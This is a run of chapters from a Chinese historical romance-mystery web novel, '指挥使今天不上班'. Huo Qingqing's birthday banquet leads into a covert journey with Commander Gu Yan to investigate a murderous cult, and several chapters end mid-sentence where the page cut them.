明顺帝适时抬手:“今日微服出宫,大礼就免了。” 众人应是。 明顺帝自然坐到上位,召来霍承阳寒暄几句问道:“青青呢?” “回圣上,这丫头估摸着要卡着时辰出来,先前就在跟锦屏说发髻太沉,这会子恐怕是拆了重做。” 明顺帝笑笑,拍拍旁边齐皇后的手又看向一旁抚须的霍书:“我就说吧,这丫头一天天古灵精怪的。” 齐小婉也笑,看向自己的三个儿子,然后低声跟明顺帝交谈:“咱们这三个儿子,早到婚配的年纪了,除了延儿,其他两个一个比一个倔。如今青丫头回来了,夫君你看……” 明顺帝自然知道她是何意,早在之前,他就跟霍承阳商量过,奈何霍承阳不松口,说要看青青自己的意思。 这一拖就是九年,如今青青都十八了,他那三个儿子最小的赵枢也快至弱冠,一个赛一个的难搞。赵延指了一门婚事,定的是礼部尚书家的丫头。亓儿还太过顽劣,上次说到时,他乱扯一通让他头疼。枢儿又说要等他弱冠再寻良人。 可是……他看着枢儿,怎么看都对青青有意,但是枢儿心思缜密情绪不显,他谈时也看不清这个儿子到底在想些什么。 明顺帝叹了口气,握住齐小婉的手:“顺其自然吧,男人大点再娶妻也可以。没有功绩,青青怕是也看不上。” “也是。”齐小婉点头。 皇家的赏赐卡着时辰送来,整五车的金银珠宝,霍青青终于出来接赏。 她今日是一袭宫中送来的大红衣衫,同往日那低调的衣裙不同,大红张扬华丽,三千青丝编了辫子束作高髻马尾簪上碎红流苏钗,正是意气风发少年。 周遭的人纷纷看过来,虽薄纱覆面看不清霍青青面容,但凭着这等荣宠,就值得拉拢。 “我说青青会穿这套吧。三弟,你输了,回去记得把那把嵌玉弓送来。”赵亓用手肘捣了身边的赵枢一下。 赵枢垂下眼掩住眸中的神色,仰头喝尽杯中酒,他自然知道青青不会驳父皇的面子。这天底下,除去雁将离,还有谁会比他更了解青青? 众人寒暄了一阵,明顺帝不能出宫太久便跟霍青青打了个照面就领着齐小婉先回宫去了。 待他走了,众人才是真的松了一口气,开始畅谈。 前厅突然安静下来,霍府大门敞开,当中站着个老者,老者须发皆白一手拿幡一手抱着莲花托拂尘缓步走来。 “师父。” 霍青青笑盈盈地上前去,接过他手里的八卦幡:“师父,你怎么来了?” 霍承阳见状也起身拱手相迎:“道长,好久不见了。” 来者正是灵玄子,霍青青的便宜师父。 “青青生辰宴,自是该来的。”灵玄子抚须笑道:“今日也顺道来帮忙送个信。” “那便……请师父偏厅走了。” 霍承阳招呼着众人落座开宴后留下霍老爷子和霍清风两人在正厅,自己也去了偏厅。毕竟事关女儿,他还是要在场的。 灵玄子好酒,霍青青便摆了三坛子好酒过来给他满上,他喝了一口直夸自己徒弟好。等他喝完一坛,他才缓缓道:“今日是不是有一人未至?” 闻言,霍青青才想起今日还未看到顾衍。 “他命格不好,主嗜杀,为人又太过偏激。若是以后没人能牵制,恐会陷入魔障。”灵玄子说着,从袖子里抽出一封信:“这是边关那小将 9. 还钗 《指挥使今天不上班》全本免费阅读 顾衍带着半身的血迹坐在马背上,一身大红飞鱼服张扬惹眼。 宋无忧跟在他身后,将手里一个一尺见方的木盒递给了霍承阳。霍承阳没有多看,随手跟其他的贺礼摞在一起。 四下安静下来,生辰宴见血……怕是不合适。 顾衍环视一圈没看着霍青青,遂直接打马朝后院走去,这般没礼数霍家竟也没人上前拦他。 等他到了后院,远远就瞧见坐在石凳上同霍清风喝酒的霍青青。 待到得近处。 霍青青晃晃悠悠地起身,刚站起来就晃了一下,幸而霍清风眼疾手快扶了一把。 她微眯着眼打量着顾衍,看着他翻身下马朝她走过来。青年人张扬得很,一身红衣更像是意气风发的少年郎,红色绣银的发带飘飘荡荡落到他腰下。 “有事耽搁了。”他在霍青青面前站定,抱臂微俯下身看她:“又喝了多少?” 霍姑娘今日格外漂亮,大红华服衬得她愈发明艳起来。同往日清浅的颜色不同,她上了薄妆,眼尾的花钿随着她的眼勾出一抹漂亮的弧度。 她看着顾衍,显然是微醺的模样,怔怔的,目光慢慢落在他染血的衣摆,然后伸出手去,勾住他的护腕:“有血,脏。” 霍青青似是还想说什么,却被霍清风往后一拉隔开了。 “顾指挥使去前院落座吧,还有空位。” “宋无忧在前院带他们入座吃饭,用不着我。”他哼笑一声,还不忘对霍青青说上一句:“回去就洗了,从诏狱过来,没来得及换。” 随后便自己寻了旁边位置坐下,很快自斟自酌起来。 他喝着好酒,心下也疑惑起来,他跟霍青青解释什么? 偏巧霍青青此时又看向他,正好撞上他探究的目光。顾衍垂下眼,一把抢了她手里的酒壶,给自己满上酒一口喝了。看着对面木木呆呆的霍姑娘在心底里笑了声。 没多久霍青青因着有些微醉,就被霍清风半拉半拽去了她自己院子,锦屏会意,去熬来一碗醒酒汤。 在霍府,醒酒汤可谓是常备的,霍书霍承阳父子俩爱喝酒,一喝酒就停不下来,喝到两个人都烂醉如泥才被霍清风安排着送回卧房灌醒酒汤。现在霍青青也爱喝酒,她不如她爹和爷爷这么能喝,烈点的酒几杯就能倒,这也是霍清风一直盯着她的原因。 霍青青还算乖巧,喝醒酒汤从来不含糊,一口气就喝完,还亮个空碗给霍清风看。 “傻样。”霍清风笑了声,摸摸她的头:“睡会儿吧,晚些用晚膳我再叫你。” 霍青青点头,看着他离开后,闭目小睡了一会儿。 也只睡了一刻钟,她就清醒过来,起身到院子的石桌边坐下。疾风扑着翅膀落到石桌上,低头蹭蹭她的手。 “疾风真乖。”霍青青夸了一句,掏出袖子里放着的信。 打开来,是雁将离铁画银钩的字,他这封信,洋洋洒洒写满了一页纸。写的都是些边关趣闻,他向来知道她喜欢看这些。 霍青青抿唇笑了,看来,他们都过得很好。 “情郎写的?”顾衍的声音突兀地响起。 他站在她前面,投下一片阴影带来一阵血腥气。 辰砂默默守在霍青青身后,看着顾衍眼底没有任何波动。刚才顾衍来时……连他都没有察觉,此人的功力到底到什么地步? “顾大人很好奇?”霍青青漫不经心地将信收好,抬眼看向顾衍。 顾衍哂笑一声:“是啊,好奇啊。好奇什么样的人能当霍姑娘的情郎。” 霍青青懒得同他拌嘴,只笑笑:“顾大人今日做什么去了?不知道的人还以为你落我脸呢。但我寻思着,顾大人收了我的请帖就是为了落我脸的话,未免太不厚道了。” 见她不反驳,顾衍便当她默认了。 明明要说生辰快乐的话,最后说出口变成了:“我本来就不是厚道的人。”他说完,话锋一转:“霍姑娘喜欢老实人吗?” “怎么?顾大人也想做我的情郎?” 霍青青撑着头,忽然伸出手去拽住顾衍的手腕,将他拉得低下身子:“我有个朋友,很喜欢顾大人这种样貌,要不我给顾大人引荐一下?她可是风华绝代啊,顾大人,要不要试试?” 顾衍不舒服了一下,也只是一下,他慢慢抽出手,一双星目看着霍青青:“你这姑娘,胆子太大。” 说罢,他退开一步,自腰间锦囊里摸出一根银钗抛给霍青青:“你的钗。” 霍青青接住一看,正是她丢的那支嵌玉银钗。 顾衍没有说,他后来去山巅的小亭子醒酒,完事折回青柳庄时霍青青已经走了,见着落下这支钗,便捡起来收好。那日巡街路过霍府,正巧又没带,等着生辰宴还钗能免去一番折返。 几日前打算今日早些来还钗,奈何今日确有要事。 大清早去了一趟诏狱,连审两个嘴硬的死士,等审完就是这个时辰。来不及换衣服,只能穿着溅血的官服匆匆赶来。 这下倒好,来还钗被这个没良心的姑娘说着要给他引荐女人。 她是不是看他活得太潇洒了要给他找麻烦? 霍青青转着钗,随手插进发间,然后一直盯着他看。 顾衍被看得有些发毛,退后一步:“别拿女人开玩笑,我养不起。” “顾大人是养不起还是没遇到合适的?”霍青青慢悠悠地捻着自己散落下来的青丝,一双好看的桃花眼眼波流转。 顾衍觉得这个姑娘好像什么都不放在心上,自在得不像是人间客。她说着不一样的话做着大胆的事,似乎什么都入不了她的眼。 除了……方才那一纸书信。 10. 他叫,霍清风 《指挥使今天不上班》全本免费阅读 等密旨下来,霍青青早已收拾好行礼,挑出两辆朴素的马车赶路坐。 “飞雪,你不要欺负人家。”霍青青的手拍拍飞雪的脖颈,飞雪正在张嘴啃旁边黑马的鬃毛。 这匹黑马是顾衍提早一天送来的,他说赶路还是带着自己的马好,免得生出变故。他们的马都是万里挑一的名驹宝马,拉车倒是委屈它们了。奈何此去又不能太过张扬,一切从简。 飞雪看了看霍青青,打了个响鼻别过头不理大黑马。 “它生气了,你哄哄。”霍青青拍上黑马的脸:“破月,你哄哄,不然待会儿闹脾气这车怎么走?” 破月耳朵一抖,小心翼翼地去蹭飞雪,飞雪初时不理,架不住这高大的黑马耍赖,最后只得妥协。 “你可比你那主人会哄人。”霍青青啼笑皆非。 “哦?霍姑娘骂谁不如马呢?”顾衍的声音由远及近,只几息的功夫就到了跟前。 他易了容,脱去整日穿着的官服,换上玄青武服,皮革束袖,一身干净利落。身后跟了另一人。 宋无忧是离不了京都的,他日日跟着顾衍,若是不见踪影,有心人定然会觉察。今日顾衍带着的人,霍青青也略知一二,此人应当是顾衍手下另一个亲信伍行,听闻此人擅长隐匿,平日里是不出现的,朝中几乎没人见过。 “你我同乘?” “还得商量些事,就委屈顾大人了。”霍青青撩开车帘钻进去,在里面看向顾衍:“顾大人,上来啊。到时辰了。” 她打发了锦屏跟伍行乘后面的一辆,自己跟顾衍同乘,辰砂与另一个霍府的暗卫驾马,一行六人,便启程。 霍清风玄衣轻甲站在城墙上,看着两辆马车在晨曦里越行越远,最后再看不见。他今日也该回军中,军中事务堆了这半月,副将陈钧能处理的都处理了,有拿不准的事还等着他回去定夺。 等他下了城楼,便撞见了霍承阳。 他笑问道:“爹怎么在这里?” 霍承阳瞥他一眼,让霍清风觉得自己藏在心底的心思无所遁形。 六年前霍承阳升任大理寺卿时,明顺帝就曾赞过一句有霍承阳在,大煜断无冤案。霍承阳话少,但事事都看在眼里记在心里,最是擅长自细微处抽丝。 此刻霍清风被他看得有些狼狈,他勾起一抹苦笑:“爹想说什么?” “你当真不去追吗?”霍承阳抬眼看着他,打量着这个少年成名的将军。明明一身磊落,唯独情之一字难解。 霍清风的苦笑化作苦糖,一点点流淌进喉咙里,最后咽下去。他知道霍承阳想说什么,也知他一直都是真真正正的把他当亲儿子在养。在霍承阳再开口之前他笑道:“青青她值得最好的。” 而不是他这样的人。 霍清风垂下眼睫:“但不会是我。”他轻轻攥住腰间玉牌:“霍叔叔,我迈不过自己心里那道坎。我始终觉得,青青她值得最好的。我的手已经脏了,永远都洗不干净。” “别找借口。”霍承阳拢了拢袖口,哼了一声懒得看他:“你怕的从来不是这些。” 霍清风深沉的眼瞳定定地望向霍承阳,心知眼前这人早就将他看透了便也没有作多余的解释。 “你自己想清楚便好,不要后悔。”霍承阳不再多说,转身离去。 “不会后悔。” 轻飘飘的声音飘散在晨光里,霍清风呼出一口气,笑得很柔和。 他能感觉到,青青一直将他当亲哥哥看待,没有半分男女之情。若是有,他就是顶着天下唾骂,都要跟青青在一起。 他如今一旦做出选择,就不会后悔。他会守着青青一辈子,以兄长的名义,不做任何逾越的事。 霍清风独自走在空荡荡的街上,想起来那个温柔的妇人。青青的母亲,沧州傅氏傅长安。傅氏三朝世家,门庭百载,出了多少风流人物?那场屠杀因他而起,傅氏上下二百余人只剩下傅长安一人。 傅长安拼了命将他护住,几乎是一命换一命。 11. 信任 《指挥使今天不上班》全本免费阅读 官道上,马车行得不紧不慢,霍青青跟顾衍相对而坐,中间是一个不算小的矮几,上面摆了好几样精致点心。 “这些可不顶饱。”顾衍靠在一边坐着,手里拿着一把刀。他那把绣春刀是御赐的,比寻常刀剑更重更锋利,骤然换掉还有些不习惯。 霍青青在他对面撑着头,懒散地打了个哈欠,从袖子里一番摸索,掏出一封信件:“昨日十一传来的。” 顾衍接过来,只一眼就眉头蹙起:“计划要不要变?” “变什么?”霍青青拈起一块桂花糕送进口中咬了一口,就着茶吃完:“如今正值青州学宫招学子,我那边十一早就打点好了,要看顾大人以什么身份前去了。” 留在京都的,是另一个顾大人。 知晓顾衍离京的只有顾衍的几个亲信,因为顾大人向来按时上朝,去南北镇抚司点卯,不得不找了个替身。说起来,顾衍手下除去一个时常跟着他的宋无忧还有个在暗处的“影”。这个“影”便是在危急时替换顾衍的。 如今的顾衍玄色暗纹箭袖,脸上是一张寻常人的假面,连带着好像掩去了通身的锋芒,竟给人一种好相与的错觉。 顾衍睨霍青青一眼,忽然凑近点端详起来:“霍姑娘怎么不易容?” “莫说没人识我,就是有人识我……在庄子上放养了快十年的小姐,送去学宫学习礼仪诗书也再正常不过。再说……” 霍青青神秘地笑笑,往后一退靠上车壁:“我可没有顾大人这么有名。听说顾大人的画像可是还被画到那什么……” 她顿了顿,沉思片刻:“好像叫什么《大煜好夫婿》的本子里,听闻还排在前三。” 顾衍一抖,抬手捂住眼睛:“大煜什么?” “好、夫、婿啊——”霍青青一字一顿地又重复一遍,看着顾衍生无可恋,她觉得甚是有趣:“不过没什么,顾大人也同时上榜了《大煜最不适合当夫婿的人》,还是排在前三。” “这都什么乱七八糟的。”顾衍哂笑一声,将手放下来坐回自己的位置。 两个人虽然插科打诨,但没忘正事。 “青州那边眼下情况不明,顾大人要护好自己。”她说着,又从袖子里掏出一副袖箭递过来:“这个就给顾大人防身用吧,我身边有锦屏辰砂,等到得青州十一也会来找我。” 顾衍看着这副袖箭,袖箭极为精巧,箭尖隐约透出寒芒,想来造价不低。 见着他想开口,霍青青补上一句:“收下吧,顾大人。此行定然凶险,不知会生出什么变故,有防备总是好的。至于我……只要十一在,我身边就是铜墙铁壁。” “呵……”顾衍轻笑起来,接过袖箭扣好:“你那侍卫,是什么来历?” 他对霍十一是有点印象的,初时他第一次见到霍青青,就是霍十一驾马,干净利落地出刀斩断马脖子。后来御书房里,霍承书说他是霍青青的侍卫,也是霍府死士。 那两次,他都未觉得这个侍卫有何过人之处。 “来历?”霍青青一愣,旋即笑开了:“上次在御书房不是说了吗?是我霍家的死士。他跟辰砂一样,都是木头,不爱说话情绪也不显,喜怒都要人去猜。上次御书房里,他就生气了。” 说起来……那日她夜里喝酒喝得微醉,十一当夜又被遣去青州,都没来得及问他为何生气。 霍青青觉得自己好像哪里做错了。 顾衍眉一挑,看着微蹙眉头沉思的霍姑娘,觉得霍十一有点惨。上次御书房,霍十一跟着霍承书进来时,正巧撞见霍姑娘把他压在桌上。 那霍十一怕是存着主仆之外的心思,见此情景才生气。 可惜了,不爱说话的木头动真情,却摊上这么个大大咧咧没什么男女大防还迷迷糊糊的霍姑娘。 霍姑娘像草木顽石难开情窍,对感情怕是迟钝得很,他都有些同情霍十一了。噢,还有天天对他横眉竖眼的霍清风,这一个两个的都挺惨。 “前些日子说找一日同顾大人详谈,奈何一直没找到合适的日子。如今便慢慢谈吧,顾大人,你先说说你查到的。” 车内空间算不得太小,但顾衍伸不直身子,略微转动着挑出个舒服的姿势伸手去拎茶壶倒茶。 他顺手递一杯给霍青青 12.命签 《指挥使今天不上班》全本免费阅读 马车里,霍青青看着顾衍,抬手轻点着下巴:“早听闻诏狱刑讯手段好,看来所言不虚。” 长生教的人嘴巴紧,她查消息可是费了不少力气。 顾衍笑了声:“自然,否则那些人不得反了天去?” 他低着头,摩挲着刀鞘的纹路,声音带着寒意继续道:“长生教为祸民间,所到之处惹百姓追逐。那两个道士说长生教内供奉着一尊活神像,活神像每隔半月便要吃下一个药人,而这个药人需要长期服食长生药,至少……服食一年。而长生药能侵蚀身体,一旦长期服食,甚少有人能扛过药效。自那之后,长生教的人便开始四处游历,物色合适的少年人豢养起来,供给神像。” “然,这次青州学宫,它们在试探着请神。年岁便是,未满二十者。”霍青青眼眸微弯,明亮的眸子看向顾衍:“顾大人,此刻应该也猜到爹爹为何召我了。” 顾衍手一顿,抬头看向霍青青。 小姑娘带着惯常的懒散笑意,灵动的眼睛看着他,他沉声道:“你想引蛇出洞。” 霍承阳那样的人,怎么可能让自己这个宝贝女儿涉险? 除非…… 他心思一转,正看见霍青青别过头去看外面的风景,她轻笑着,声音轻快:“嗯,我跟皇伯伯说好,骗了爹。” “你……”顾衍欲言又止。青州学宫连起两件命案,死者皆是青州学宫内的学生。他虽还未至,但从传回的消息里看完了青州府衙仵作验尸所写的卷宗。 两个学子死相奇惨。 他们血肉分离搅碎又重新堆砌成人形,屋内的地上用血写着八个大字—七月初七,但求长生。 如此行径……如此残忍…… 她竟然选择引蛇出洞? “青州之事,不知顾大人有没有察觉到。他们像是早就定下青州学宫,要在学宫内请神。青州此事没那么简单,若是放过了,长生教恐怕会愈发猖獗。此事的严重性,或许远远超出顾大人的想象。” 霍青青静静地看着顾衍,看到了他眼底一闪即逝的惊愕,遂笑笑:“顾大人不必担忧,我此行是做好了一切准备。若是当真不慎一死,我也早已安排好书信,此事,与顾大人无关。” 顾衍第一次觉得自己被人小瞧了,小瞧他的还是个十八岁的小姑娘。 他哂笑一声,想起来她生辰那日同他说要当心。 原来她早知道此行凶险。 “值得吗?”顾衍抱臂靠在软垫上重新审视着眼前这个十八岁的姑娘。 明明是寻常女子的容貌,没什么三头六臂,却选择了以身犯险。她明明一生都可以高高在上,不涉任何险境,为何会插手长生教一事? 霍青青摆弄着手腕上的玉珠串,低头看着玉珠子折射出莹润的光,外间天光大好,可惜有的人已经看不到了。 她静默了片刻,抬起头来朝着顾衍缓缓笑开:“有的事,总要有人去做啊。” 这一瞬的笑颜晃花了人眼,借着外间天光,她如春日暖阳。顾衍觉得心里泛起一层暖意,这暖意在心底炸开。 又听着她徐徐谈来:“我娘曾告诉我,人这一生,都应该在自己的位置上做能做到的事。”她手中捻着玉珠串,眼瞳里带着清朗笑意:“我生于高门,长在京都,养在南方,这从北到南,看过大好河山,走过敞亮官道。我爷爷为太傅,乃当今圣上启蒙老师,助圣上清山河。我爹坐镇大理寺破冤案无数,为冤者申冤。我哥少年成名,八万青骑纵横西北□□北蛮。” 她声音很轻,眼中带着自豪:“如今我当,为民请命。” “呵……”为民请命…… 顾衍想起从前那个颠沛流离的自己。 他出生的城池,曾被战火燎灼,铁蹄踏过后留下的只有断壁残垣,多少百姓死在战火里,被践踏成泥。 那时候,百姓的命如草芥,每日都活得胆战心惊,睡不安稳。他出生时,父亲病逝,是母亲将他一手养大拉扯到八岁。他少时常常在想,若不是那场战火,母亲应该能同他一起看到顺应年的太平盛世。 明顺帝那时还是皇子。 先帝病重,几方兵变,战火直逼京都。当时内忧外患,若非当今大将军徐从风镇压北蛮横戈边关,大煜那时恐怕就会被北蛮乘虚而入。但就算是这样,大煜多少百姓还是死在战火中。 为民请命岂是这么简单的? 顾衍不语,视线落到霍姑娘盘玩的玉珠串上。 霍姑娘向来喜欢用好东西,这 13.铁骨铮铮顾大人 《指挥使今天不上班》全本免费阅读 马车行得安稳,看着霍姑娘凑过来,顾衍松了身子斜靠在车壁上。 他扫了一眼她垂落至桌面的发,轻蔑一笑:“我怕什么?京中的影留着威慑宋世荣,我便在这边,端了长生教的据点。有霍家两老人家在朝堂,霍清风驻军陵水,离朝堂只有至多五日路程,日夜兼程不过两三日。宋世荣,还没那么大胆子。” “我查出的线索里,长生教与朝中那几个酸文臣并无关系,更别说宋世荣那个抬着眼睛看人的。” 顾衍抬手取了茶壶给自己倒上一盏茶。 他很爱喝霍青青这里备的茶,上好的陈茶,滋味醇厚,有回甘。这茶不便宜,产得少百金一钱。也只有霍家百年家资才撑得起霍姑娘这般挥霍。 简简单单两辆马车,看着简朴,造价近百两,更别说霍姑娘回京那日所乘的八宝雕花车。 这些时日相处下来,霍姑娘是真的富。 富却低调。 衣食住行,若非懂行的还真不会知晓其中价值。 就拿这套茶具来说,碧玉雕成,玲珑剔透。时不时有天光落上面,便是波光流转。莫说雕工上乘要花大价钱,就是这些玉石都价值不菲。 也就是霍姑娘心大不差钱。这么一套易碎的茶具,偏生还带上马车。若是途中有什么事,磕了碰了,他可不赔的。 霍青青看着他自斟自饮,桃花眼里盛出笑意:“看来,顾大人是我们霍家站一处了。” “什么站一处?” 顾衍摩挲着杯壁,垂眸看着清澈的茶水映出自己的模样,一张普通人的脸,扔进人堆里都找不出来。 “朝堂谁都不站队,明着站队的,是傻子。”他倒了一盏茶递给霍青青。 “顾大人。”霍青青握着他递来的茶,看着茶杯里一片茶叶打着旋微漾起一点涟漪。 她之前说喜欢顾衍不假,就喜欢顾衍活得坦坦荡荡。朝堂之上虽笑面虎,但私下相处时敞亮不骗人。她很少看错人,除非顾衍当真是能装得滴水不漏。 “霍姑娘有话不妨直说,你也知晓,我不喜欢绕弯子。” 霍青青抬眼便见顾衍将空杯子放在他的刀上。 那杯子带着星星点点的天光顺着慢慢倾斜的刀刃滑动,快到刀尖时,顾衍手腕一抖,玉杯被抛飞起来,又被他稳稳接在手里。 他脸上似乎一直都带着明朗笑意,让人辨不清真假。 但她觉得此刻,这笑是到了心底的。 她喝尽杯中的茶水,声音轻缓:“顾大人既来我生辰宴,在他们眼里便已是有站队之意。顾大人说不是,他们就信吗?朝堂不乏小人,只是霍家势大,再算上顾大人,很多人便不敢轻举妄动。” 玉杯放在桌上,发出一点响动。 “顾大人可当心些,这杯子碰坏一只就不成套了。” 顾衍一哂,将整套茶具摆在一起笑了句:“行,碰坏了我可赔不起。都放这儿了,磕了碰了别找我就成。” 霍青青伸手将几只茶杯倒扣在银盘里算是收好,自宽袖的暗袋里摸出一沓银票:“顾大人接杀人买卖吗?开个价?” “杀谁?”顾衍挑眉,视线落在那一沓银票上,少说也有千两。 “宋世荣的买卖,顾大人接吗?” “哦?”有意思…… 顾衍勾起唇角:“霍姑娘就不怕我放消息给宋世荣吗?万一宋世荣出高价收买我,那可说不准。” “钱的事,都是小事。”霍青青颊边泛起梨涡,弯眼笑道:“他出多少,我都给双倍,如何?” “他出不起。”顾衍笑了句。 说的是实话,霍姑娘天天把钱当米撒,宋世荣可没那个本事。 霍青青早有准备,得了他的话抽出一个木盒,打开来里面是一节特制的竹筒:“宋世荣的暗桩,安插在凤阳城。” “这张名单上,有暗桩的落脚点和画像名姓,一共三人。” “五百两一人,这里一共一千五百两。”她将密报递予顾衍,桃花眼微弯:“顾大人,这个买卖,接吗?” “接。” 顾衍利落地密报,找霍青青取了笔墨纸砚,落笔就写下几行蝇头小字,落了自己的私印。 “等到了官驿,我自会安排。”他几下折了揣好,视线牢牢钉在银票上:“姑娘立个字据,莫要反悔。” 杀几个宋世荣的暗桩还能拿银子,这买卖可划算。霍姑娘当真富得流油,三个人头就是一千五百两,这一千五百两多少人一辈子都见不到。她放得 14.朋友 《指挥使今天不上班》全本免费阅读 一行人平稳行了两日余,途经枫华道,辰砂眼眸微眯着看向远处。 霍青青正困倦睡着,顾衍懒散地抱刀靠在车壁上。忽闻外面驾车的辰砂平淡的声音:“有敌。” 顾衍以刀柄撩开车帘望了一眼:“清理掉。” “小姐未发话。”辰砂并不听顾衍的,他本驾着马,怕有箭矢便先斩落了破月和飞雪的缰绳:“藏好。” 它们聪明,纷纷嘶鸣一声朝来时的方向跑出去。果不其然,有数道箭矢从山林里朝着马车而来,他瞬间抽刀。 “死脑筋。”顾衍低声骂了句,放下帘子坐回去。 等他回头时,霍青青正在瞧着他。 顾衍轻笑一声,凑近些并肩坐着:“你这个死士,太认死理,不好。” “我知道呀。”霍青青将手撑在窗框上朝着他笑:“所以,我才不出声。他比十一死板多了,太认死理,我怕他往后做不了什么事。” “你倒是看得透彻。” 话音刚落,忽闻破空之声,顾衍冷着脸拽住霍青青的手臂,一把将她拉离原处。一支约寸粗被斩断的羽箭刺破车帘,牢牢钉进里面车壁,箭尖几乎全没进去。 “还皇家的死士。”顾衍嗤了声,抽刀起身去:“霍姑娘,护好自己。” 霍青青微笑着点头,看着青年利落地撩开车帘出去,很快,车帘上便绽出一枝血色。这点东西,连锦屏都伤不到,顾衍出去应付是绰绰有余。 “伍行,拿人。” 顾衍喝了一句,一脚踹开一个扑上来的山匪。几刀砍落一个,刀势狠辣,神色漠然。这些人看着似乎不是长生教教众也并非寻常山匪,那又为何阻挠他们往青州?莫非……青州之事不仅仅只有长生教? 青州此事明摆着的是长生教的手笔,蓦地他想起霍青青说的,他们在等他。他之前也猜测过长生教或许是想借着青州一事放线钓他,他对自己有多少能力向来清楚,便索性如他们的意。那么长生教并不会阻拦他。 这些人,看样子埋伏在此处许久,应当是三日前离京他们就已经准备好。 “啧。”顾衍循着箭来之处极快地杀进林中斩落藏在林中的弓箭手,眸中冷然。末了,他转身大步往马车那方去,在离马车十步开外站定,指尖轻弹在刀刃上,弹落几点血色:“便宜他们了,毕竟这车上还有小姑娘。扔了。” 说罢,伍行点点头,一手拖几个在官道上的尸体从旁边的悬崖扔下去。 辰砂这才退回车帘前,沉默着坐好。 霍青青撩开帘子,按在他肩膀:“辰砂,或许你在皇伯伯手下时无令不出手,但是你得知道,你现在是我的人。” “我的身边并不太平,你可以记住一句话,很多事情你可以做主。” 她说这话,指尖轻巧地拨开辰砂肩头的布料,浅看一眼伤口,取了金创药涂上:“你得记好。威胁到你生命者,为祸百姓者,行事不仁不义者,皆可杀。” 女子的声音平缓柔和,飘在他耳边。伤口的金创药灼烧起来,辰砂耳根泛出些红。 他握紧刀柄,浅浅应声:“属下知晓了。” 顾衍打了个呼哨,破月跟飞雪自来时路先后窜过来,飞雪高兴地打着响鼻来蹭霍青青。 “好啦,别蹭了。”霍青青轻拍着马脖子,不忘从马车里拿出两个杂粮饼一马一个。破月看看顾衍,看着顾衍没发话竟不张口。 霍青青叹了一口气,将杂粮饼递给顾衍:“喏,破月都不敢吃,你来。” 顾衍抬手隔着衣袖拉住霍青青的手腕,将杂粮饼递到破月嘴边:“吃。” 破月这才张口咬住,几口吃完高兴地蹭一下顾衍蹭一下霍青青。 “行了,它下次就会吃了。”顾衍放开她的手:“进去吧,还有一段路,到乌镇怕是入夜了,别耽搁。” 霍青青看着他,只觉得这个人越发有意思。她自小长在南方,南方女子虽小家碧玉,但绝不是拘礼之人。时日一长,她便也这样了。更何况她骨子里就是如此,不喜欢那什么男女大防。 如今瞧着顾衍,他俩果然能一拍即合。 顾衍微微侧目,见只到他胸口的霍姑娘又看着他。骤然撞进她那双清泠泠的眼睛里,他觉得浑身都不自在起来:“看我做什么?” 他抬手掀开帘子就要钻进马车。 忽然听到霍青青叫住他:“我是想说……该谈的都谈了,顾大人该跟我分开乘马车了。” 顾衍手一僵,一时间进也不是退也不是。 沉默片刻,他依旧钻进车里,刀柄挡开车帘,挑眉笑道:“霍姑娘不是雇我当打手吗?打手要负责霍姑娘安危啊。” 马车再行起来,顾衍抱着刀靠在车壁上闭目养神,霍青青百无聊赖地摆弄着一个银制九连环,没一会儿就解开了。解开合拢半晌,觉得没了趣味就随手扔在桌子上。 她见顾衍眉头微蹙,便不自觉地抬手。 “想做什么?”顾衍睁眼,视线落在她抬起的手上。 霍姑娘的手纤长白皙,浅色的青紫血管在她手上尤为明显。他同霍姑娘行了这几日,才觉察出有些不对。 彼时她懒散纤瘦,他当是春日嗜睡。 前几日骤然听闻她今年嗜睡。便觉得霍姑娘身体算不得好,应当是比常人更易困倦,吃得又少。车上准备的点心都是上等,连带着他跟伍行,每日吃食也是寻了路上的小店新鲜做来的,可是霍姑娘每每就吃上那么一碗就不吃了,拉他陪着吃饭倒是能多吃几口。 其余多数时间都在马车里喝茶看书。 思及此,顾衍不由开口:“你……” 见他欲言又止,霍青青抬手将自己飘落的几缕鬓发别到耳后看向窗外:“顾大人想问什么。” “没什么。”顾衍随手拿起她放下的九连环,九连环碰撞间发出轻微的响声,他扫了一眼霍青青,似是闲话家常般问了句:“霍姑娘如此嗜睡,可是有什么病症?” 闻言,霍青青转过头看他,眼里带了笑。 “之前你同我说,比往年嗜睡,往年也这般?”他漫不经心地拨弄着九连环,骨节分明的手指穿行在九连环的缝隙里,看着可谓赏心悦目。 霍青青垂下眼睫,手指捏着书页,慢慢摩挲着放开:“不知。” 顾衍见她如此,便不再追问:“不愿说便算了,你别多想。只要不影响查案就无碍。我对你的私事不感兴趣。” “我不知。”霍青青说得很慢,她跟顾衍对视着,缓缓倾身凑近顾衍,握住他的护腕:“顾衍,我不知。” 马车颠簸起来,将她又推近了些,顾衍往后靠在车壁上,侧过头去:“我没逼你什么,不说就算了。” 他也不知为何霍青青会因为这样的话生气。 “我不能说。”霍青青颓然松开手,坐在他对面,眼底压抑着顾衍看不明白的情绪。她神色有些复杂,又重复道:“顾衍。” 骤然听见她叫他名姓,顾衍有些心颤。 “我不能说。” 恍惚间,马车似是碾过大些的石头,猛地颠簸起来。她一时不查,被颠得往前一扑。 “你那死士到底干什么吃的。”顾衍只来得及伸手挡在车壁上,让她的额头撞在自己手心。他抬手将 15.惊梦 《指挥使今天不上班》全本免费阅读 乌镇地处几城交汇处,鲜少有人留此过夜。 镇子门口的灯笼燃着,远远瞧着像是恶兽跳跃闪烁的瞳仁。借着隐约天光,两辆简朴的马车一前一后慢悠悠地入了镇子。 甫一入镇子,霍青青就惊醒过来,她紧紧抓住锦屏的手大口呼吸着,眼中带着未褪去的惊慌。 锦屏连忙拍着她的背安抚,柔声道:“姑娘,醒过来就好了。没事的、没事的。” “不是……”霍青青深吸一口气,猛地倾身撩开车帘叫了一声:“顾大人!” 没有回应。 不对,一切都不对! 是从什么时候开始的? “姑娘,怎么了?”锦屏也跟着紧张起来。 四方都太安静了,外面镇子被笼在一阵沉沉雾气中,看不真切。镇子里星星点点明灭的灯笼,一点点变得模糊,然后化作光点消散开去。 赶车的辰砂也不见了,周遭就只有这一辆马车。 霍青青握紧袖中藏着的匕首,一手拉着锦屏跃下马车。她拽着锦屏的手腕,不敢有丝毫松懈。 二人一前一后,行在空旷的街道上,有白幡扬起,飘飞出几张纸钱。 再往前走,霍青青觉得手里一空,锦屏也不见了。她额头冷汗涔涔,脚似有千斤重,抬步艰难。风带来隐约沙哑的哭声,哭声很闷,能听出那人在拼命压下去。 月光落下来,洒在那个人的背上,映出一片银白与血色交织的光影。长长的白麻布带飞扬,伴着飘飞的纸钱散开来,他在戴孝。 